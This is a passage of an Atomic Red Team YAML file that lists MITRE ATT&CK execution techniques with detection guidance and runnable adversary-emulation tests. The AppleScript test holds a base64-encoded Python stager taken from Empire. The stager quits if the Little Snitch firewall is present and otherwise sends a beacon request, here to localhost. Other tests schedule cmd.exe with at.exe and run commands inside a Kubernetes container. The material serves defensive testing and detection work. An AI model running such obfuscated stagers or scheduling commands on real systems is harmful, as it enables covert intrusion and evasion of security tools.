        description: Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript
          For Attacking macOS. Retrieved July 17, 2020.
      - source_name: SentinelOne macOS Red Team
        url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/
        description: 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple
          APIs Without Building Binaries. Retrieved July 17, 2020.'
      - url: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/
        description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs.
          Retrieved July 8, 2017.
        source_name: Macro Malware Targets Macs
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: AppleScript
      description: |-
        Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

        Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)

        AppleScripts do not need to call <code>osascript</code> to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s <code>NSAppleScript</code> or <code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.

        Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)
      id: attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-08-03T21:40:51.878Z'
      created: '2020-03-09T14:07:54.329Z'
      x_mitre_contributors:
      - Phil Stokes, SentinelOne
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor for execution of AppleScript through <code>osascript</code> and usage of the <code>NSAppleScript</code> and <code>OSAScript</code> APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

        Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      x_mitre_platforms:
      - macOS
      identifier: T1059.002
    atomic_tests:
    - name: AppleScript
      auto_generated_guid: 3600d97d-81b9-4171-ab96-e4386506e2c2
      description: "Shell Script with AppleScript. The encoded python script will
        perform an HTTP GET request to 127.0.0.1:80 with a session cookie of \"t3VhVOs/DyCcDTFzIKanRxkvk3I=\",
        unless 'Little Snitch' is installed, in which case it will just exit. \nYou
        can use netcat to listen for the connection and verify execution, e.g. use
        \"nc -l 80\" in another terminal window before executing this test and watch
        for the request.\n\nReference: https://github.com/EmpireProject/Empire\n"
      supported_platforms:
      - macos
      executor:
        command: 'osascript -e "do shell script \"echo \\\"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEsdGltZW91dD0zKS5yZWFkKCk7Cg==''));\\\"
          | python &\""

'
        name: sh
  T1053.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.001
        url: https://attack.mitre.org/techniques/T1053/001
      - source_name: Kifarunix - Task Scheduling in Linux
        url: https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
        description: Koromicha. (2019, September 7). Scheduling tasks using at command
          in Linux. Retrieved December 3, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: At (Linux)
      description: |-
        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)

        An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
      id: attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-23T22:35:13.112Z'
      created: '2019-12-03T12:59:36.749Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: true
      x_mitre_detection: "Monitor scheduled task creation using command-line invocation.
        Legitimate scheduled tasks may be created during installation of new software
        or through system administration functions. Look for changes to tasks that
        do not correlate with known software, patch cycles, etc. \n\nSuspicious program
        execution through scheduled tasks may show up as outlier processes that have
        not been seen before when compared against historical data. Data and events
        should not be viewed in isolation, but as part of a chain of behavior that
        could lead to other activities, such as network connections made for Command
        and Control, learning details about the environment through Discovery, and
        Lateral Movement."
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Linux
      identifier: T1053.001
    atomic_tests:
    - name: At - Schedule a job
      auto_generated_guid: 7266d898-ac82-4ec0-97c7-436075d0d08e
      description: 'This test submits a command to be run in the future by the `at`
        daemon.

'
      supported_platforms:
      - linux
      input_arguments:
        time_spec:
          description: Time specification of when the command should run
          type: String
          default: now + 1 minute
        at_command:
          description: The command to be run
          type: String
          default: echo Hello from Atomic Red Team
      dependency_executor_name: sh
      dependencies:
      - description: 'The `at` and `atd` executables must exist in the PATH

'
        prereq_command: 'which at && which atd

'
        get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found
          in the PATH (Package name: `at`)''

'
      - description: 'The `atd` daemon must be running

'
        prereq_command: 'systemctl status atd || service atd status

'
        get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service
          atd start` ; systemd: `systemctl start atd`)''

'
      executor:
        name: sh
        elevation_required: false
        command: 'echo "#{at_command}" | at #{time_spec}

'
  T1053.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.002
        url: https://attack.mitre.org/techniques/T1053/002
      - url: https://twitter.com/leoloobeek/status/939248813465853953
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        source_name: Twitter Leoloobeek Scheduled Task
      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        source_name: TechNet Forum Scheduled Task Operational Setting
      - url: https://technet.microsoft.com/library/dd315590.aspx
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        source_name: TechNet Scheduled Task Events
      - source_name: Microsoft Scheduled Task Events Win10
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: At (Windows)
      description: "Adversaries may abuse the <code>at.exe</code> utility to perform
        task scheduling for initial or recurring execution of malicious code. The
        [at](https://attack.mitre.org/software/S0110) utility exists as an executable
        within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110)
        requires that the Task Scheduler service be running, and the user to be logged
        on as a member of the local Administrators group. \n\nAn adversary may use
        <code>at.exe</code> in Windows environments to execute programs at system
        startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110)
        can also be abused to conduct remote Execution as part of Lateral Movement
        and or to run a process under the context of a specified account (such as
        SYSTEM).\n\nNote: The <code>at.exe</code> command line utility has been deprecated
        in current versions of Windows in favor of <code>schtasks</code>."
      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-24T13:43:40.776Z'
      created: '2019-11-27T13:52:45.853Z'
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.

        Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)

        * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
        * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
        * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
        * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
        * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
        * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
      x_mitre_platforms:
      - Windows
      identifier: T1053.002
    atomic_tests:
    - name: At.exe Scheduled task
      auto_generated_guid: 4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8
      description: |
        Executes cmd.exe
        Note: deprecated in Windows 8+

        Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: false
        command: 'at 13:20 /interactive cmd

'
  T1059:
    technique:
      created: '2017-05-31T21:30:49.546Z'
      modified: '2021-04-27T19:21:06.164Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      type: attack-pattern
      revoked: false
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1059
        url: https://attack.mitre.org/techniques/T1059
      description: |-
        Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).

        Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.
      name: Command and Scripting Interpreter
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Script: Script Execution'
      x_mitre_detection: |-
        Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.

        If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

        Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_permissions_required:
      - User
      x_mitre_remote_support: false
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1559.001:
    technique:
      id: attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64
      description: |-
        Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM)

        Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)
      name: Component Object Model
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1559.001
        url: https://attack.mitre.org/techniques/T1559/001
      - source_name: Fireeye Hunting COM June 2019
        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
          10, 2019.
      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
          22, 2017.
        source_name: Microsoft COM
      - url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
        description: 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting
          Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3,
          2018.'
        source_name: ProjectZero File Write EoP Apr 2018
      - url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
        source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
      - url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
          Application COM Object. Retrieved November 21, 2017.
        source_name: Enigma MMC20 COM Jan 2017
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-03-28T19:30:52.639Z'
      created: '2020-02-12T14:09:53.107Z'
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: "Monitor for COM objects loading DLLs and other modules not
        typically associated with the application.(Citation: Enigma Outlook DCOM Lateral
        Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012)
        or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed
        malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20
        COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects,
        especially those invoked by a user different than the one currently logged
        on. "
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Script: Script Execution'
    atomic_tests: []
  T1175:
    technique:
      revoked: false
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1175
        url: https://attack.mitre.org/techniques/T1175
      - source_name: Fireeye Hunting COM June 2019
        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
          10, 2019.
      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
          22, 2017.
        source_name: Microsoft COM
      - url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
        description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service
          Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.
        source_name: Microsoft COM ACL
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
        description: Microsoft. (n.d.). Setting Process-Wide Security Through the
          Registry. Retrieved November 21, 2017.
        source_name: Microsoft Process Wide Com Keys
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
        description: Microsoft. (n.d.). Registry Values for System-Wide Security.
          Retrieved November 21, 2017.
        source_name: Microsoft System Wide Com Keys
      - url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
        description: 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting
          Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3,
          2018.'
        source_name: ProjectZero File Write EoP Apr 2018
      - url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
        source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
      - url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
          Application COM Object. Retrieved November 21, 2017.
        source_name: Enigma MMC20 COM Jan 2017
      - url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
        description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round
          2. Retrieved November 21, 2017.'
        source_name: Enigma DCOM Lateral Movement Jan 2017
      - url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
        description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application
          and DCOM. Retrieved November 21, 2017.
        source_name: Enigma Excel DCOM Sept 2017
      - url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
        description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral
          movement via DCOM. Retrieved November 21, 2017.
        source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017
      description: "**This technique has been deprecated. Please use [Distributed
        Component Object Model](https://attack.mitre.org/techniques/T1021/003) and
        [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries
        may use the Windows Component Object Model (COM) and Distributed Component
        Object Model (DCOM) for local code execution or to execute on remote systems
        as part of lateral movement. \n\nCOM is a component of the native Windows
        application programming interface (API) that enables interaction between software
        objects, or executable code that implements one or more interfaces.(Citation:
        Fireeye Hunting COM June 2019) Through COM, a client object can call methods
        of server objects, which are typically Dynamic Link Libraries (DLL) or executables
        (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends
        the functionality of Component Object Model (COM) (Citation: Microsoft COM)
        beyond a local computer using remote procedure call (RPC) technology.(Citation:
        Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote
        server COM objects are specified by access control lists (ACL) in the Registry.
        (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation:
        Microsoft System Wide Com Keys) By default, only Administrators may remotely
        activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM
        for local command and/or payload execution. Various COM interfaces are exposed
        that can be abused to invoke arbitrary execution via a variety of programming
        languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific
        COM objects also exists to directly perform functions beyond code execution,
        such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),
        fileless download/execution, and other adversary behaviors such as Privilege
        Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation:
        ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral
        movement. Through DCOM, adversaries operating in the context of an appropriately
        privileged user can remotely obtain arbitrary and even direct shellcode execution
        through Office applications (Citation: Enigma Outlook DCOM Lateral Movement
        Nov 2017) as well as other Windows objects that contain insecure methods.(Citation:
        Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017)
        DCOM can also execute macros in existing documents (Citation: Enigma Excel
        DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173)
        (DDE) execution directly through a COM created instance of a Microsoft Office
        application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing
        the need for a malicious document."
      name: Component Object Model and Distributed COM
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-03-30T13:36:10.069Z'
      created: '2018-01-16T16:13:52.465Z'
      x_mitre_deprecated: true
      x_mitre_version: '2.0'
      x_mitre_detection: |-
        Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)

        Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.

        Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_platforms:
      - Windows
      x_mitre_remote_support: true
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1609:
    technique:
      id: attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1
      description: |-
        Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)

        In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)
      name: Container Administration Command
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1609
        url: https://attack.mitre.org/techniques/T1609
      - source_name: Docker Daemon CLI
        url: https://docs.docker.com/engine/reference/commandline/dockerd/
        description: Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.
      - source_name: Kubernetes API
        url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
          March 29, 2021.
      - source_name: Kubernetes Kubelet
        url: https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/
        description: The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29,
          2021.
      - source_name: Docker Entrypoint
        url: https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime
        description: Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.
      - source_name: Docker Exec
        url: https://docs.docker.com/engine/reference/commandline/exec/
        description: Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.
      - source_name: Kubectl Exec Get Shell
        url: https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/
        description: The Kubernetes Authors. (n.d.). Get a Shell to a Running Container.
          Retrieved March 29, 2021.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2021-04-14T12:01:10.545Z'
      created: '2021-03-29T16:39:26.183Z'
      x_mitre_platforms:
      - Containers
      x_mitre_contributors:
      - Alfredo Oliveira, Trend Micro
      - David Fiser, @anu4is, Trend Micro
      - Brad Geesaman, @bradgeesaman
      - Center for Threat-Informed Defense (CTID)
      - Magno Logan, @magnologan, Trend Micro
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_detection: 'Container administration service activities and executed
        commands can be captured through logging of process execution with command-line
        arguments on the container and the underlying host. In Docker, the daemon
        log provides insight into events at the daemon and container service level.
        Kubernetes system component logs may also detect activities running in and
        out of containers in the cluster. '
      x_mitre_remote_support: true
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      identifier: T1609
    atomic_tests:
    - name: ExecIntoContainer
      auto_generated_guid: d03bfcd3-ed87-49c8-8880-44bb772dea4b
      description: 'Attackers who have permissions, can run malicious commands in
        containers in the cluster using exec command (“kubectl exec”). In this method,
        attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as
        a backdoor container, and run their malicious code remotely by using “kubectl
        exec”.

'
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to use
          type: String
          default: default
        command:
          description: Command to run
          type: String
          default: uname
      dependencies:
      - description: 'kubectl must be installed

'
        get_prereq_command: 'echo "kubectl must be installed manually"

'
        prereq_command: 'which kubectl

'
      executor:
        command: |
          kubectl create -f src/busybox.yaml -n #{namespace}
          kubectl exec -n #{namespace} busybox -- #{command}
        cleanup_command: 'kubectl delete pod busybox -n #{namespace}

'
        name: bash
        elevation_required: false
  T1053.007:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.007
